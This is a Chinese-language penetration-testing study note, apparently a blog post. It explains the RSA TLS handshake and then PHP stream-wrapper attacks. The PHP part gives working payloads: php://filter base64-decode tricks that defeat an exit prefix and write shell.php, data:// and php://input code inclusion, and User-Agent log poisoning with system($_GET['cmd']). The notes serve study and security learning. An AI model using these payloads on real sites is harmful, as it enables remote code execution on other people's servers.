渗透学习总结

一、RSA 密钥协商

1、TLS 握手的整体过程(基于 RSA 密钥交换)

TLS 握手可以理解为四个阶段,通常需要 2 个 RTT 时间。

第一阶段是客户端打招呼,第二阶段是服务器回应并发送证书,第三阶段是客户端生成密钥材料,第四阶段是双方确认加密通信已经建立。

2、RSA 密钥协商的详细流程

第一次握手:客户端发送 Client Hello

客户端向服务器发送一个 Client Hello 消息,里面包含四类信息:TLS 版本号、支持的密码套件列表、支持的压缩算法,以及一个随机数 Client Random。这个随机数后面会参与生成会话密钥。

第二次握手:服务器回应 Server Hello 和证书

服务器收到 Client Hello 后,从中选择一个双方都支持的 TLS 版本和加密套件,同时生成一个随机数 Server Random。随后服务器发送 Server Hello 消息给客户端,并附带自己的数字证书。

证书中包含服务器的公钥、持有者信息、CA 机构信息、CA 的签名、有效期等内容。

客户端验证服务器证书

客户端拿到证书后,会进行验证。验证过程包括三步:

第一步,对证书内容进行 Hash,得到一个值 H1;

第二步,用内置的 CA 公钥解密证书中的签名,得到另一个 Hash 值 H2;

第三步,对比 H1 和 H2,如果相同,说明证书没有被篡改且可信。

在真实环境中,证书一般是通过"证书链"来验证的:网站证书通常由中间 CA 签发,中间 CA 又由根 CA 签发,浏览器和操作系统内置了根证书,只要能一路验证到根证书,就认为该证书可信。

第三次握手:生成会话密钥

客户端在验证证书可信之后,会生成一个新的随机数,叫 pre-master。客户端用服务器证书里的公钥加密这个 pre-master,并发送给服务器。

服务器收到后,用自己的私钥解密,得到 pre-master。

此时,客户端和服务器双方都有三个随机数:Client Random、Server Random 和 pre-master。双方用这三个值通过固定算法生成 Master Secret,也就是后续通信中使用的对称加密密钥。

随后客户端发送 Change Cipher Spec 消息,表示之后开始使用加密通信,再发送 Finished 消息,用刚生成的会话密钥对之前所有握手数据的摘要进行加密。

第四次握手:服务器确认

服务器也发送 Change Cipher Spec 和 Finished 消息。如果双方验证都通过,TLS 握手完成,之后的 HTTP 数据全部用对称密钥加密传输。

3、RSA 密钥交换的缺陷

RSA 密钥交换不支持前向保密。如果服务器的私钥在未来某一天泄露,那么过去所有被截获的 HTTPS 通信数据都可以被解密。

二、php://filter 的用处

1、php://filter 是什么

php://filter 是 PHP 提供的一种协议流,可以在读取或写入文件时,对内容进行过滤、转换、编码或解码。它可以在不修改代码的情况下,对数据进行处理。

常见用途包括:base64 编码与解码、字符串过滤、标签清理、内容转换等。

常见的格式为:

复制代码
php://filter/read=xxx/resource=filename
php://filter/write=xxx/resource=filename

2、典型利用场景:被加了"死亡 exit"

在一些程序中,开发者为了防止用户上传的文件被直接执行,常常在文件内容前面加上类似 "<?php exit; ?>" 的语句。这样即使你写入了一句话木马,也会因为 exit 直接终止执行。

复制代码
$content = "<?php exit; ?>" . $_POST['txt'];
file_put_contents($_POST['filename'], $content);

例如:

程序先拼接 "<?php exit; ?>" 再把用户输入写入文件,导致一句话木马无法执行。

3、利用 base64-decode 的特性绕过

PHP 在执行 base64_decode 时,会自动忽略不属于 base64 字符集的字符。比如 <、?、;、>、空格等都会被跳过。

复制代码
php://filter/write=convert.base64-decode/resource=shell.php

因此,如果我们通过 php://filter/write=convert.base64-decode 的方式写文件,程序会先对写入内容进行 base64 解码。

"<?php exit; ?>" 中的大部分字符都会被当作非法字符丢弃,只剩下类似 phpexit 的字符串,再配合长度对齐,就可以让 exit 失效。

这样,原本写不进去、执行不了的 shell 就可以被成功写入并执行。

4、利用字符串过滤器组合绕过

php://filter 支持多个过滤器串联使用。比如可以先使用 strip_tags 去掉 PHP 标签,再使用 base64_decode 还原真正的木马代码。

复制代码
php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php

整体流程是:

先去除 <?php exit; ?>,再把你 base64 编码过的一句话木马解码出来,最终写入的就是干净可执行的 PHP 代码。

三、文件包含漏洞

PHP 的文件操作并不只是针对本地路径字符串进行,而是基于流(Stream)机制来统一处理资源。PHP 内部将文件、网络、内存、数据流等都抽象为"可像文件一样访问的对象",这些对象通过不同的协议封装器进行访问,这类协议在 PHP 中统称为 Wrapper。

也就是说,在 PHP 中调用 file_get_contents、include、require 等函数时,本质上是在通过某种 Wrapper 协议读取一个资源。

例如:

复制代码
file_get_contents("file:///etc/passwd");
file_get_contents("http://example.com");
include("php://input");

部分 Wrapper 的使用依赖 PHP 配置项

复制代码
allow_url_fopen = On
allow_url_include = On

当 allow_url_fopen 为 On 时,file_get_contents、fopen 等函数可以访问 http、data 等 URL 形式的资源。当 allow_url_include 为 On 时,include、require 才允许引入远程或特殊协议资源。PHP 版本通常要求在 5.2.0 及以上。

1、file 协议

是 PHP 中 include 默认使用的协议。如果在代码中直接写 include("test.php"),实际上等价于

复制代码
include("file://" . __DIR__ . "/test.php");

file 协议访问的是本地文件系统。如果被包含的文件内容符合 PHP 语法,就会被当作 PHP 代码执行。这也是本地文件包含漏洞的基础。

2、data 协议

可以在 URL 中直接携带数据内容

复制代码
data://text/plain,<?php phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

当 allow_url_include 开启时,配合 include 使用 data 协议可以直接执行内联的 PHP 代码。明文形式可以直接写 PHP 语句,base64 形式会在解析时先解码再执行。

3、zip://协议

需要绝对路径

复制代码
?file=zip:///var/www/html/upload/test.zip%23shell.php
compress.zlib://协议(gz://)
复制代码
?file=compress.zlib://http://127.0.0.1/shell.php.gz
compress.bzip2://协议(bz2://)
复制代码
?file=compress.bzip2://http://127.0.0.1/shell.php.bz2

4、 php://filter

用于对读取的数据进行过滤和转换。基本格式如下

复制代码
php://filter/read=convert.base64-encode/resource=filename.php

表示先对 filename.php 的内容进行 base64 编码,再返回给调用者。

常见过滤器示例

复制代码
convert.base64-encode
convert.base64-decode
string.rot13
string.toupper
string.tolower
string.strip_tags

php://filter 常用于在 LFI 场景中读取源码而不执行代码。

5、php://input

用于读取 HTTP 请求体中的原始数据。配合 include 使用时,可以将 POST 请求的 Raw Body 当作 PHP 代码执行。

复制代码
include("php://input");

需要注意,请求体必须是原始格式,而不是 application/x-www-form-urlencoded。

常用文件系统函数包括

复制代码
file_get_contents();
file_put_contents();

当这些函数的参数使用 php://filter 等 Wrapper 时,就会触发数据转换或特殊行为。

在某些场景中,代码可能类似如下形式

复制代码
file_put_contents($filename, "<?php exit();" . $content);

这段逻辑会强制在写入内容前加上 "<?php exit();",使后续内容无法执行。

构造 Payload 示例

复制代码
filename=php://filter/convert.base64-decode/resource=shell.php
content=aPD9waHAgcGhwaW5mbygpOz8+

原理是 base64 解码只识别 A-Z a-z 0-9 + / 这 64 个字符,其他字符会被忽略。"<?php exit();" 中只有 phpexit 会参与解码,但 base64 是每 4 个字符一组进行解析,所以可以通过在前面补一个字符来重新对齐分组。

复制代码
a + PD9waHAgcGhwaW5mbygpOz8+

解码后实际得到

复制代码
<?php phpinfo();?>

从而绕过 exit 的限制。

在存在 LFI 的情况下,可以通过日志文件包含来实现代码执行。方法是先向日志中写入 PHP 代码,再通过 include 包含日志文件。

例如通过 User-Agent 注入

复制代码
User-Agent: <?php system($_GET['cmd']); ?>

常见日志路径

Nginx

复制代码
/var/log/nginx/access.log

Apache

复制代码
/var/log/apache2/access.log

然后通过

复制代码
?file=/var/log/nginx/access.log

即可让日志中的 PHP 代码被解析执行。

相关推荐
开开心心就好1 小时前
内存清理工具点击清理,自动间隔自启
linux·运维·服务器·安全·硬件架构·材料工程·1024程序员节
世人万千丶1 小时前
Day 5: Flutter 框架 SQLite 数据库进阶 - 在跨端应用中构建结构化数据中心
数据库·学习·flutter·sqlite·harmonyos·鸿蒙·鸿蒙系统
丝斯20112 小时前
AI学习笔记整理(53)——大模型之Agent 智能体开发
人工智能·笔记·学习
星火开发设计2 小时前
循环结构进阶:while 与 do-while 循环的适用场景
java·开发语言·数据结构·学习·知识·循环
青衫码上行2 小时前
Maven高级:分模块、聚合继承、多环境配置与私服搭建
java·学习·maven
开开心心_Every2 小时前
无广告输入法推荐:内置丰富词库免费皮肤
服务器·前端·学习·决策树·edge·powerpoint·动态规划
科技林总2 小时前
【系统分析师】4.4 网络工程
学习
C_心欲无痕8 小时前
前端实现水印的两种方式:SVG 与 Canvas
前端·安全·水印
Elias不吃糖10 小时前
Java Lambda 表达式
java·开发语言·学习